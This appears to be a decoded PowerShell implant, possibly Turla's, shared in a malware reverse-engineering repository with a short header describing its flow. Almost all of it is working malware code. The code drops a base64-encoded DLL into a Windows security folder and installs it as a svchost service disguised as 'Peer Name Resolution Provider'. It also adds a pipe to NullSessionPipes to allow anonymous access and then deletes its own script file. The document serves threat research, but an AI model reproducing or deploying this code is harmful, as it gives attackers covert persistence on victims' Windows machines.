raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2019-04-13-Possible-Turla-PowerShell-Implant.ps1

```
// @VK_INTEL
// MD5: 165be7620b78fe37cf25c797ee5b49e7
// POSSIBLE TURLA DECODED POWERSHELL IMPLANT
/*
GENERAL FLOW:
FindAmsiFun() -> Zip -> PowerSploit-Encoded ->
C:\Windows\security\database\securlsa.chk serveName 'pnrss' & pipeName = 'pnrsvc' Persistence
PowerShellRunner.dll
*/

/*
BASE64 POWERSHELLRUNNER
$LDD761jbd =
"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAA4fug4AtAnNIbgBT
*/


Set-Content 'C:\Windows\security\database\securlsa.chk' -Value $([Convert]::FromBase64String($LDD761jbd)) -Encoding Byte;
[string]$servName='pnrssp';
[string]$fileName='securlsa.chk';
[string]$pipeName = 'pnrsvc';


function Reg-SetMS($registry, [string]$valueName, [string]$value)
{
[string[]]$array = $registry.GetValue($valueName)

If ($array -notcontains $value) {
$array += $value
$registry.SetValue($valueName, $array, 'MultiString')
}
}

function Reg-DelMS($registry, [string]$valueName, $value)
{
$array = $registry.GetValue($valueName)
[string[]]$newarray = $array -ne $value
$registry.SetValue($valueName, $newarray, 'MultiString')
}

function Install([string]$servName, [string]$fileName, [string]$pipeName)
{
$serviceMain = "ServiceMain"
$serviceDll = "ServiceDLL"

New-Service -Name $servName -BinaryPathName "%SystemRoot%\system32\svchost.exe -k netsvcs" -DisplayName "Peer Name Resolution
Provider" -DependsOn "RpcSs" `
-Description "Uses the NTLM MS-CHAP protocol to encapsulate and negotiate options in order to resolve domain names"

$registry = (Get-Item -Path Registry::HKLM).OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost", $true)
Reg-SetMS $registry "netsvcs" $servName
$registry.Close()

$registry = (Get-Item -Path Registry::HKLM).OpenSubKey("SYSTEM\CurrentControlSet\services\$servName",
$True).CreateSubKey("Parameters")
$registry.SetValue($serviceMain, $serviceMain, 'String')
$registry.SetValue($serviceDll, $env:SystemRoot + '\security\database\' + $fileName, 'ExpandString')
$registry.Close()

if ($pipeName -ne $null)
```

```
{
$registry = (Get-Item -Path Registry::HKLM).OpenSubKey("SYSTEM\CurrentControlSet\services\LanmanServer\Parameters", $True)
Reg-SetMS $registry "NullSessionPipes" $pipeName
$registry.Close()
}

Start-Service -Name $servName
}

try
{
Install $servName $fileName $pipeName

echo "Success"
}
catch
{
echo "Exception Type: $($_.Exception.GetType().FullName)"
echo "Exception Message: $($_.Exception.Message)"
}

Remove-Item -LiteralPath $MyInvocation.MyCommand.Path -Force
```